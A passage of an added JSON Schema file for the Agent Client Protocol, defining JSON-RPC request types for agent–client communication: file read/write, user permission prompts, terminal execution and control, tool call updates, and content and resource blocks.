] + } + ] + }, + { + "type": "null" + } + ] + } + }, + "required": ["jsonrpc", "method"], + "x-docs-ignore": true + } + ], + "$defs": { + "AgentRequest": { + "description": "A JSON-RPC request object.", + "type": "object", + "properties": { + "id": { + "description": "The request id used to correlate the matching response.", + "allOf": [ + { + "$ref": "#/$defs/RequestId" + } + ] + }, + "method": { + "description": "The method name to invoke.", + "type": "string" + }, + "params": { + "description": "Method-specific request parameters.", + "anyOf": [ + { + "description": "All possible requests that an agent can send to a client.\n\nThis enum is used internally for routing RPC requests. You typically won't need\nto use this directly.\n\nThis enum encompasses all method calls from agent to client.", + "anyOf": [ + { + "title": "WriteTextFileRequest", + "description": "Writes content to a text file in the client's file system.\n\nOnly available if the client advertises the `fs.writeTextFile` capability.\nAllows the agent to create or modify files within the client's environment.\n\nSee protocol docs: [Client](https://agentclientprotocol.com/protocol/overview#client)", + "allOf": [ + { + "$ref": "#/$defs/WriteTextFileRequest" + } + ] + }, + { + "title": "ReadTextFileRequest", + "description": "Reads content from a text file in the client's file system.\n\nOnly available if the client advertises the `fs.readTextFile` capability.\nAllows the agent to access file contents within the client's environment.\n\nSee protocol docs: [Client](https://agentclientprotocol.com/protocol/overview#client)", + "allOf": [ + { + "$ref": "#/$defs/ReadTextFileRequest" + } + ] + }, + { + "title": "RequestPermissionRequest", + "description": "Requests permission from the user for a tool call operation.\n\nCalled by the agent when it needs user authorization before executing\na potentially sensitive operation. The client should present the options\nto the user and return their decision.\n\nIf the client cancels the prompt turn via `session/cancel`, it MUST\nrespond to this request with `RequestPermissionOutcome::Cancelled`.\n\nSee protocol docs: [Requesting Permission](https://agentclientprotocol.com/protocol/tool-calls#requesting-permission)", + "allOf": [ + { + "$ref": "#/$defs/RequestPermissionRequest" + } + ] + }, + { + "title": "CreateTerminalRequest", + "description": "Executes a command in a new terminal\n\nOnly available if the `terminal` Client capability is set to `true`.\n\nReturns a `TerminalId` that can be used with other terminal methods\nto get the current output, wait for exit, and kill the command.\n\nThe `TerminalId` can also be used to embed the terminal in a tool call\nby using the `ToolCallContent::Terminal` variant.\n\nThe Agent is responsible for releasing the terminal by using the `terminal/release`\nmethod.\n\nSee protocol docs: [Terminals](https://agentclientprotocol.com/protocol/terminals)", + "allOf": [ + { + "$ref": "#/$defs/CreateTerminalRequest" + } + ] + }, + { + "title": "TerminalOutputRequest", + "description": "Gets the terminal output and exit status\n\nReturns the current content in the terminal without waiting for the command to exit.\nIf the command has already exited, the exit status is included.\n\nSee protocol docs: [Terminals](https://agentclientprotocol.com/protocol/terminals)", + "allOf": [ + { + "$ref": "#/$defs/TerminalOutputRequest" + } + ] + }, + { + "title": "ReleaseTerminalRequest", + "description": "Releases a terminal\n\nThe command is killed if it hasn't exited yet. Use `terminal/wait_for_exit`\nto wait for the command to exit before releasing the terminal.\n\nAfter release, the `TerminalId` can no longer be used with other `terminal/*` methods,\nbut tool calls that already contain it, continue to display its output.\n\nThe `terminal/kill` method can be used to terminate the command without releasing\nthe terminal, allowing the Agent to call `terminal/output` and other methods.\n\nSee protocol docs: [Terminals](https://agentclientprotocol.com/protocol/terminals)", + "allOf": [ + { + "$ref": "#/$defs/ReleaseTerminalRequest" + } + ] + }, + { + "title": "WaitForTerminalExitRequest", + "description": "Waits for the terminal command to exit and return its exit status\n\nSee protocol docs: [Terminals](https://agentclientprotocol.com/protocol/terminals)", + "allOf": [ + { + "$ref": "#/$defs/WaitForTerminalExitRequest" + } + ] + }, + { + "title": "KillTerminalRequest", + "description": "Kills the terminal command without releasing the terminal\n\nWhile `terminal/release` will also kill the command, this method will keep\nthe `TerminalId` valid so it can be used with other methods.\n\nThis method can be helpful when implementing command timeouts which terminate\nthe command as soon as elapsed, and then get the final output so it can be sent\nto the model.\n\nNote: Call `terminal/release` when `TerminalId` is no longer needed.\n\nSee protocol docs: [Terminals](https://agentclientprotocol.com/protocol/terminals)", + "allOf": [ + { + "$ref": "#/$defs/KillTerminalRequest" + } + ] + }, + { + "title": "CreateElicitationRequest", + "description": "Requests structured user input via a form or URL.\n\nSee protocol docs: [Elicitation](https://agentclientprotocol.com/protocol/elicitation)", + "allOf": [ + { + "$ref": "#/$defs/CreateElicitationRequest" + } + ] + }, + { + "title": "ExtMethodRequest", + "description": "Handles extension method requests from the agent.\n\nAllows the Agent to send an arbitrary request that is not part of the ACP spec.\nExtension methods provide a way to add custom functionality while maintaining\nprotocol compatibility.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "allOf": [ + { + "$ref": "#/$defs/ExtRequest" + } + ] + } + ] + }, + { + "type": "null" + } + ] + } + }, + "required": ["id", "method"], + "x-docs-ignore": true + }, + "RequestId": { + "description": "JSON RPC Request Id\n\nAn identifier established by the Client that MUST contain a String, Number, or NULL value if included. If it is not included it is assumed to be a notification. The value SHOULD normally not be Null \\[1\\] and Numbers SHOULD NOT contain fractional parts \\[2\\]\n\nThe Server MUST reply with the same value in the Response object if included. This member is used to correlate the context between the two objects.\n\n\\[1\\] The use of Null as a value for the id member in a Request object is discouraged, because this specification uses a value of Null for Responses with an unknown id. Also, because JSON-RPC 1.0 uses an id value of Null for Notifications this could cause confusion in handling.\n\n\\[2\\] Fractional parts may be problematic, since many decimal fractions cannot be represented exactly as binary fractions.", + "anyOf": [ + { + "title": "Null", + "description": "The JSON-RPC `null` request id.", + "type": "null" + }, + { + "title": "Number", + "description": "A numeric JSON-RPC request id.", + "type": "integer", + "format": "int64" + }, + { + "title": "Str", + "description": "A string JSON-RPC request id.", + "type": "string" + } + ] + }, + "WriteTextFileRequest": { + "description": "Request to write content to a text file.\n\nOnly available if the client supports the `fs.writeTextFile` capability.", + "type": "object", + "properties": { + "sessionId": { + "description": "The session ID for this request.", + "allOf": [ + { + "$ref": "#/$defs/SessionId" + } + ] + }, + "path": { + "description": "Absolute path to the file to write.", + "type": "string" + }, + "content": { + "description": "The text content to write to the file.", + "type": "string" + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["sessionId", "path", "content"], + "x-side": "client", + "x-method": "fs/write_text_file" + }, + "SessionId": { + "description": "A unique identifier for a conversation session between a client and agent.\n\nSessions maintain their own context, conversation history, and state,\nallowing multiple independent interactions with the same agent.\n\nSee protocol docs: [Session ID](https://agentclientprotocol.com/protocol/session-setup#session-id)", + "type": "string" + }, + "ReadTextFileRequest": { + "description": "Request to read content from a text file.\n\nOnly available if the client supports the `fs.readTextFile` capability.", + "type": "object", + "properties": { + "sessionId": { + "description": "The session ID for this request.", + "allOf": [ + { + "$ref": "#/$defs/SessionId" + } + ] + }, + "path": { + "description": "Absolute path to the file to read.", + "type": "string" + }, + "line": { + "description": "Line number to start reading from (1-based).", + "type": ["integer", "null"], + "format": "uint32", + "minimum": 0, + "x-deserialize-default-on-error": true + }, + "limit": { + "description": "Maximum number of lines to read.", + "type": ["integer", "null"], + "format": "uint32", + "minimum": 0, + "x-deserialize-default-on-error": true + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["sessionId", "path"], + "x-side": "client", + "x-method": "fs/read_text_file" + }, + "RequestPermissionRequest": { + "description": "Request for user permission to execute a tool call.\n\nSent when the agent needs authorization before performing a sensitive operation.\n\nSee protocol docs: [Requesting Permission](https://agentclientprotocol.com/protocol/tool-calls#requesting-permission)", + "type": "object", + "properties": { + "sessionId": { + "description": "The session ID for this request.", + "allOf": [ + { + "$ref": "#/$defs/SessionId" + } + ] + }, + "toolCall": { + "description": "Details about the tool call requiring permission.", + "allOf": [ + { + "$ref": "#/$defs/ToolCallUpdate" + } + ] + }, + "options": { + "description": "Available permission options for the user to choose from.", + "type": "array", + "items": { + "$ref": "#/$defs/PermissionOption" + } + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["sessionId", "toolCall", "options"], + "x-side": "client", + "x-method": "session/request_permission" + }, + "ToolCallUpdate": { + "description": "An update to an existing tool call.\n\nUsed to report progress and results as tools execute. All fields except\nthe tool call ID are optional - only changed fields need to be included.\n\nSee protocol docs: [Updating](https://agentclientprotocol.com/protocol/tool-calls#updating)", + "type": "object", + "properties": { + "toolCallId": { + "description": "The ID of the tool call being updated.", + "allOf": [ + { + "$ref": "#/$defs/ToolCallId" + } + ] + }, + "kind": { + "description": "Update the tool kind.", + "anyOf": [ + { + "$ref": "#/$defs/ToolKind" + }, + { + "type": "null" + } + ], + "x-deserialize-default-on-error": true + }, + "status": { + "description": "Update the execution status.", + "anyOf": [ + { + "$ref": "#/$defs/ToolCallStatus" + }, + { + "type": "null" + } + ], + "x-deserialize-default-on-error": true + }, + "title": { + "description": "Update the human-readable title.", + "type": ["string", "null"], + "x-deserialize-default-on-error": true + }, + "content": { + "description": "Replace the content collection.", + "type": ["array", "null"], + "items": { + "$ref": "#/$defs/ToolCallContent" + }, + "x-deserialize-default-on-error": true, + "x-deserialize-skip-invalid-items": true + }, + "locations": { + "description": "Replace the locations collection.", + "type": ["array", "null"], + "items": { + "$ref": "#/$defs/ToolCallLocation" + }, + "x-deserialize-default-on-error": true, + "x-deserialize-skip-invalid-items": true + }, + "rawInput": { + "description": "Update the raw input.", + "x-deserialize-default-on-error": true + }, + "rawOutput": { + "description": "Update the raw output.", + "x-deserialize-default-on-error": true + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["toolCallId"] + }, + "ToolCallId": { + "description": "Unique identifier for a tool call within a session.", + "type": "string" + }, + "ToolKind": { + "description": "Categories of tools that can be invoked.\n\nTool kinds help clients choose appropriate icons and optimize how they\ndisplay tool execution progress.\n\nSee protocol docs: [Creating](https://agentclientprotocol.com/protocol/tool-calls#creating)", + "oneOf": [ + { + "description": "Reading files or data.", + "type": "string", + "const": "read" + }, + { + "description": "Modifying files or content.", + "type": "string", + "const": "edit" + }, + { + "description": "Removing files or data.", + "type": "string", + "const": "delete" + }, + { + "description": "Moving or renaming files.", + "type": "string", + "const": "move" + }, + { + "description": "Searching for information.", + "type": "string", + "const": "search" + }, + { + "description": "Running commands or code.", + "type": "string", + "const": "execute" + }, + { + "description": "Internal reasoning or planning.", + "type": "string", + "const": "think" + }, + { + "description": "Retrieving external data.", + "type": "string", + "const": "fetch" + }, + { + "description": "Switching the current session mode.", + "type": "string", + "const": "switch_mode" + }, + { + "description": "Other tool types (default).", + "type": "string", + "const": "other" + } + ] + }, + "ToolCallStatus": { + "description": "Execution status of a tool call.\n\nTool calls progress through different statuses during their lifecycle.\n\nSee protocol docs: [Status](https://agentclientprotocol.com/protocol/tool-calls#status)", + "oneOf": [ + { + "description": "The tool call hasn't started running yet because the input is either\nstreaming or we're awaiting approval.", + "type": "string", + "const": "pending" + }, + { + "description": "The tool call is currently running.", + "type": "string", + "const": "in_progress" + }, + { + "description": "The tool call completed successfully.", + "type": "string", + "const": "completed" + }, + { + "description": "The tool call failed with an error.", + "type": "string", + "const": "failed" + } + ] + }, + "ToolCallContent": { + "description": "Content produced by a tool call.\n\nTool calls can produce different types of content including\nstandard content blocks (text, images) or file diffs.\n\nSee protocol docs: [Content](https://agentclientprotocol.com/protocol/tool-calls#content)", + "oneOf": [ + { + "description": "Standard content block (text, images, resources).", + "type": "object", + "properties": { + "type": { + "type": "string", + "const": "content" + } + }, + "required": ["type"], + "allOf": [ + { + "$ref": "#/$defs/Content" + } + ] + }, + { + "description": "File modification shown as a diff.", + "type": "object", + "properties": { + "type": { + "type": "string", + "const": "diff" + } + }, + "required": ["type"], + "allOf": [ + { + "$ref": "#/$defs/Diff" + } + ] + }, + { + "description": "Embed a terminal created with `terminal/create` by its id.\n\nThe terminal must be added before calling `terminal/release`.\n\nSee protocol docs: [Terminal](https://agentclientprotocol.com/protocol/terminals)", + "type": "object", + "properties": { + "type": { + "type": "string", + "const": "terminal" + } + }, + "required": ["type"], + "allOf": [ + { + "$ref": "#/$defs/Terminal" + } + ] + } + ], + "discriminator": { + "propertyName": "type" + } + }, + "ContentBlock": { + "description": "Content blocks represent displayable information in the Agent Client Protocol.\n\nThey provide a structured way to handle various types of user-facing content—whether\nit's text from language models, images for analysis, or embedded resources for context.\n\nContent blocks appear in:\n- User prompts sent via `session/prompt`\n- Language model output streamed through `session/update` notifications\n- Progress updates and results from tool calls\n\nThis structure is compatible with the Model Context Protocol (MCP), enabling\nagents to seamlessly forward content from MCP tool outputs without transformation.\n\nSee protocol docs: [Content](https://agentclientprotocol.com/protocol/content)", + "oneOf": [ + { + "description": "Text content. May be plain text or formatted with Markdown.\n\nAll agents MUST support text content blocks in prompts.\nClients SHOULD render this text as Markdown.", + "type": "object", + "properties": { + "type": { + "type": "string", + "const": "text" + } + }, + "required": ["type"], + "allOf": [ + { + "$ref": "#/$defs/TextContent" + } + ] + }, + { + "description": "Images for visual context or analysis.\n\nRequires the `image` prompt capability when included in prompts.", + "type": "object", + "properties": { + "type": { + "type": "string", + "const": "image" + } + }, + "required": ["type"], + "allOf": [ + { + "$ref": "#/$defs/ImageContent" + } + ] + }, + { + "description": "Audio data for transcription or analysis.\n\nRequires the `audio` prompt capability when included in prompts.", + "type": "object", + "properties": { + "type": { + "type": "string", + "const": "audio" + } + }, + "required": ["type"], + "allOf": [ + { + "$ref": "#/$defs/AudioContent" + } + ] + }, + { + "description": "References to resources that the agent can access.\n\nAll agents MUST support resource links in prompts.", + "type": "object", + "properties": { + "type": { + "type": "string", + "const": "resource_link" + } + }, + "required": ["type"], + "allOf": [ + { + "$ref": "#/$defs/ResourceLink" + } + ] + }, + { + "description": "Complete resource contents embedded directly in the message.\n\nPreferred for including context as it avoids extra round-trips.\n\nRequires the `embeddedContext` prompt capability when included in prompts.", + "type": "object", + "properties": { + "type": { + "type": "string", + "const": "resource" + } + }, + "required": ["type"], + "allOf": [ + { + "$ref": "#/$defs/EmbeddedResource" + } + ] + } + ], + "discriminator": { + "propertyName": "type" + } + }, + "Annotations": { + "description": "Optional annotations for the client. The client can use annotations to inform how objects are used or displayed", + "type": "object", + "properties": { + "audience": { + "description": "Intended recipients for this content, such as the user or assistant.", + "type": ["array", "null"], + "items": { + "$ref": "#/$defs/Role" + }, + "x-deserialize-default-on-error": true, + "x-deserialize-skip-invalid-items": true + }, + "lastModified": { + "description": "Timestamp indicating when the underlying resource was last modified.", + "type": ["string", "null"], + "x-deserialize-default-on-error": true + }, + "priority": { + "description": "Relative importance of this content when clients choose what to surface.", + "type": ["number", "null"], + "format": "double", + "x-deserialize-default-on-error": true + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + } + }, + "Role": { + "description": "The sender or recipient of messages and data in a conversation.", + "oneOf": [ + { + "description": "The assistant side of a conversation.", + "type": "string", + "const": "assistant" + }, + { + "description": "The user side of a conversation.", + "type": "string", + "const": "user" + } + ] + }, + "TextContent": { + "description": "Text provided to or from an LLM.", + "type": "object", + "properties": { + "annotations": { + "description": "Optional annotations that help clients decide how to display or route this content.", + "anyOf": [ + { + "$ref": "#/$defs/Annotations" + }, + { + "type": "null" + } + ], + "x-deserialize-default-on-error": true + }, + "text": { + "description": "Text payload carried by this content block.", + "type": "string" + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["text"] + }, + "ImageContent": { + "description": "An image provided to or from an LLM.", + "type": "object", + "properties": { + "annotations": { + "description": "Optional annotations that help clients decide how to display or route this content.", + "anyOf": [ + { + "$ref": "#/$defs/Annotations" + }, + { + "type": "null" + } + ], + "x-deserialize-default-on-error": true + }, + "data": { + "description": "Base64-encoded media payload.", + "type": "string" + }, + "mimeType": { + "description": "MIME type describing the encoded media payload.", + "type": "string" + }, + "uri": { + "description": "URI associated with this resource or media payload.", + "type": ["string", "null"], + "x-deserialize-default-on-error": true + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["data", "mimeType"] + }, + "AudioContent": { + "description": "Audio provided to or from an LLM.", + "type": "object", + "properties": { + "annotations": { + "description": "Optional annotations that help clients decide how to display or route this content.", + "anyOf": [ + { + "$ref": "#/$defs/Annotations" + }, + { + "type": "null" + } + ], + "x-deserialize-default-on-error": true + }, + "data": { + "description": "Base64-encoded media payload.", + "type": "string" + }, + "mimeType": { + "description": "MIME type describing the encoded media payload.", + "type": "string" + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["data", "mimeType"] + }, + "ResourceLink": { + "description": "A resource that the server is capable of reading, included in a prompt or tool call result.", + "type": "object", + "properties": { + "annotations": { + "description": "Optional annotations that help clients decide how to display or route this content.", + "anyOf": [ + { + "$ref": "#/$defs/Annotations" + }, + { + "type": "null" + } + ], + "x-deserialize-default-on-error": true + }, + "description": { + "description": "Optional human-readable details shown with this protocol object.", + "type": ["string", "null"], + "x-deserialize-default-on-error": true + }, + "mimeType": { + "description": "MIME type describing the encoded media payload.", + "type": ["string", "null"], + "x-deserialize-default-on-error": true + }, + "name": { + "description": "Human-readable name shown for this protocol object.", + "type": "string" + }, + "size": { + "description": "Optional size of the linked resource in bytes, if known.", + "type": ["integer", "null"], + "format": "int64", + "x-deserialize-default-on-error": true + }, + "title": { + "description": "Optional display title for end-user UI.", + "type": ["string", "null"], + "x-deserialize-default-on-error": true + }, + "uri": { + "description": "URI associated with this resource or media payload.", + "type": "string" + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["name", "uri"] + }, + "EmbeddedResourceResource": { + "description": "Resource content that can be embedded in a message.", + "anyOf": [ + { + "title": "TextResourceContents", + "description": "Text resource contents embedded directly in the message.", + "allOf": [ + { + "$ref": "#/$defs/TextResourceContents" + } + ] + }, + { + "title": "BlobResourceContents", + "description": "Binary resource contents embedded directly in the message.", + "allOf": [ + { + "$ref": "#/$defs/BlobResourceContents" + } + ] + } + ] + }, + "TextResourceContents": { + "description": "Text-based resource contents.", + "type": "object", + "properties": { + "mimeType": { + "description": "MIME type describing the encoded media payload.", + "type": ["string", "null"], + "x-deserialize-default-on-error": true + }, + "text": { + "description": "Text payload carried by this content block.", + "type": "string" + }, + "uri": { + "description": "URI associated with this resource or media payload.", + "type": "string" + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["text", "uri"] + }, + "BlobResourceContents": { + "description": "Binary resource contents.", + "type": "object", + "properties": { + "blob": { + "description": "Base64-encoded bytes for a binary resource payload.", + "type": "string" + }, + "mimeType": { + "description": "MIME type describing the encoded media payload.", + "type": ["string", "null"], + "x-deserialize-default-on-error": true + }, + "uri": { + "description": "URI associated with this resource or media payload.", + "type": "string" + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["blob", "uri"] + }, + "EmbeddedResource": { + "description": "The contents of a resource, embedded into a prompt or tool call result.", + "type": "object", + "properties": { + "annotations": { + "description": "Optional annotations that help clients decide how to display or route this content.", + "anyOf": [ + { + "$ref": "#/$defs/Annotations" + }, + { + "type": "null" + } + ], + "x-deserialize-default-on-error": true + }, + "resource": { + "description": "Embedded resource payload, either text or binary data.", + "allOf": [ + { + "$ref": "#/$defs/EmbeddedResourceResource" + } + ] + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["resource"] + }, + "Content": { + "description": "Standard content block (text, images, resources).", + "type": "object", + "properties": { + "content": { + "description": "The actual content block.", + "allOf": [ + { + "$ref": "#/$defs/ContentBlock" + } + ] + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["content"] + }, + "Diff": { + "description": "A diff representing file modifications.\n\nShows changes to files in a format suitable for display in the client UI.\n\nSee protocol docs: [Content](https://agentclientprotocol.com/protocol/tool-calls#content)", + "type": "object", + "properties": { + "path": { + "description": "The absolute file path being modified.", + "type": "string" + }, + "oldText": { + "description": "The original content (None for new files).", + "type": ["string", "null"], + "x-deserialize-default-on-error": true + }, + "newText": { + "description": "The new content after modification.", + "type": "string" + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["path", "newText"] + }, + "TerminalId": { + "description": "Typed identifier used for terminal values on the wire.", + "type": "string" + }, + "Terminal": { + "description": "Embed a terminal created with `terminal/create` by its id.\n\nThe terminal must be added before calling `terminal/release`.\n\nSee protocol docs: [Terminal](https://agentclientprotocol.com/protocol/terminals)", + "type": "object", + "properties": { + "terminalId": { + "description": "Identifier of the terminal instance to embed in the content stream.", + "allOf": [ + { + "$ref": "#/$defs/TerminalId" + } + ] + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["terminalId"] + }, + "ToolCallLocation": { + "description": "A file location being accessed or modified by a tool.\n\nEnables clients to implement \"follow-along\" features that track\nwhich files the agent is working with in real-time.\n\nSee protocol docs: [Following the Agent](https://agentclientprotocol.com/protocol/tool-calls#following-the-agent)", + "type": "object", + "properties": { + "path": { + "description": "The absolute file path being accessed or modified.", + "type": "string" + }, + "line": { + "description": "Optional line number within the file.", + "type": ["integer", "null"], + "format": "uint32", + "minimum": 0, + "x-deserialize-default-on-error": true + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["path"] + }, + "PermissionOption": { + "description": "An option presented to the user when requesting permission.", + "type": "object", + "properties": { + "optionId": { + "description": "Unique identifier for this permission option.", + "allOf": [ + { + "$ref": "#/$defs/PermissionOptionId" + } + ] + }, + "name": { + "description": "Human-readable label to display to the user.", + "type": "string" + }, + "kind": { + "description": "Hint about the nature of this permission option.", + "allOf": [ + { + "$ref": "#/$defs/PermissionOptionKind" + } + ] + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["optionId", "name", "kind"] + }, + "PermissionOptionId": { + "description": "Unique identifier for a permission option.", + "type": "string" + }, + "PermissionOptionKind": { + "description": "The type of permission option being presented to the user.\n\nHelps clients choose appropriate icons and UI treatment.", + "oneOf": [ + { + "description": "Allow this operation only this time.", + "type": "string", + "const": "allow_once" + }, + { + "description": "Allow this operation and remember the choice.", + "type": "string", + "const": "allow_always" + }, + { + "description": "Reject this operation only this time.", + "type": "string", + "const": "reject_once" + }, + { + "description": "Reject this operation and remember the choice.", + "type": "string", + "const": "reject_always" + } + ] + }, + "CreateTerminalRequest": { + "description": "Request to create a new terminal and execute a command.", + "type": "object", + "properties": { + "sessionId": { + "description": "The session ID for this request.", + "allOf": [ + { + "$ref": "#/$defs/SessionId" + } + ] + }, + "command": { + "description": "The command to execute.", + "type": "string" + }, + "args": { + "description": "Array of command arguments.", + "type": "array", + "items": { + "type": "string" + }, + "x-deserialize-default-on-error": true, + "x-deserialize-skip-invalid-items": true + }, + "env": { + "description": "Environment variables for the command.", + "type": "array", + "items": { + "$ref": "#/$defs/EnvVariable" + }, + "x-deserialize-default-on-error": true, + "x-deserialize-skip-invalid-items": true + }, + "cwd": { + "description": "Working directory for the command. Must be an absolute path.", + "type": ["string", "null"], + "x-deserialize-default-on-error": true + }, + "outputByteLimit": { + "description": "Maximum number of output bytes to retain.\n\nWhen the limit is exceeded, the Client truncates from the beginning of the output\nto stay within the limit.\n\nThe Client MUST ensure truncation happens at a character boundary to maintain valid\nstring output, even if this means the retained output is slightly less than the\nspecified limit.", + "type": ["integer", "null"], + "format": "uint64", + "minimum": 0, + "x-deserialize-default-on-error": true + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["sessionId", "command"], + "x-side": "client", + "x-method": "terminal/create" + }, + "EnvVariable": { + "description": "An environment variable to set when launching an MCP server.", + "type": "object", + "properties": { + "name": { + "description": "The name of the environment variable.", + "type": "string" + }, + "value": { + "description": "The value to set for the environment variable.", + "type": "string" + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["name", "value"] + }, + "TerminalOutputRequest": { + "description": "Request to get the current output and status of a terminal.", + "type": "object", + "properties": { + "sessionId": { + "description": "The session ID for this request.", + "allOf": [ + { + "$ref": "#/$defs/SessionId" + } + ] + }, + "terminalId": { + "description": "The ID of the terminal to get output from.", + "allOf": [ + { + "$ref": "#/$defs/TerminalId" + } + ] + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["sessionId", "terminalId"], + "x-side": "client", + "x-method": "terminal/output" + }, + "ReleaseTerminalRequest": { + "description": "Request to release a terminal and free its resources.", + "type": "object", + "properties": { + "sessionId": { + "description": "The session ID for this request.", + "allOf": [ + { + "$ref": "#/$defs/SessionId" + } + ] + }, + "terminalId": { + "description": "The ID of the terminal to release.", + "allOf": [ + { + "$ref": "#/$defs/TerminalId" + } + ] + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + 